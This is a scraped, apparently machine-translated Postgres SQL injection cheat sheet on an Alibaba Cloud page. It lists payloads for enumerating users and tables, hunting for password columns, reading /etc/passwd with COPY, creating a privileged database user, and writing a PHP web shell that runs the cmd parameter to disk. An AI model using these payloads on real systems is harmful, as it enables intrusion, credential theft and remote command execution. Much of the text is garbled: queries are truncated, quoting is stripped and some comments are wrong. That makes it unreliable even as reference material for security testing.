Postgres SQL Injection Cheat Sheet

Source: Internet
Author: User
Tags sql injection cheat sheet

SELECT/* comment */1;
SELECT current_user;
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername ();






T where (C. relkind = r) AND (N. oid = C. relnamespace) AND (A. attrelid = C. oid)
AND (A. atttypid = T. oid) AND (A. attnum> 0) AND (not a. attisdropped) AND (N. nspname ILIKE public)
ON n. oid = c. relnamespace WHERE c. relkind IN (r,) AND n. nspname
Not in (pg_catalog, pg_toast) AND pg_catalog.pg_table_is_visible (c. oid)
T where (C. relkind = r) AND (N. oid = C. relnamespace) AND (A. attrelid = C. oid)
AND (A. atttypid = T. oid) AND (A. attnum> 0) AND (not a. attisdropped) AND
(N. nspname ILIKE public) AND attname LIKE % password %;
SELECT usename FROM pg_user order by usename LIMIT 1 OFFSET 1;

SELECT 6 & 1; -- returns 0


Select cast (1 as int );





Contrib/dblink is installed (it isnt by default)
It can be used to resolve hostnames (assuming you have DBA rights ):

COPY mydata FROM/etc/passwd; -- priv, can read files which are readable by s OS-level user
... Union all select t FROM mydata LIMIT 1 OFFSET 1; -- get data back one row at a time
... Union all select t FROM mydata LIMIT 1 OFFSET 2; -- get data back one row at a time...
Drop table mytest;
Insert into mytable (mycol) VALUES (<? Pasthru ($ _ GET [cmd]) ;?> );
COPY mytable (mycol) TO/tmp/test. php; -- priv, write files as your s OS-level user. generally you wont be able to write to the web root, but its always work a try.
SELECT inet_server_port (); -- returns db server IP address (or null if using local connection)
Create user test1 PASSWORD pass1 CREATEUSER; -- priv, grant some privs at the same time


SELECT current_setting (pai_file); -- priv

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.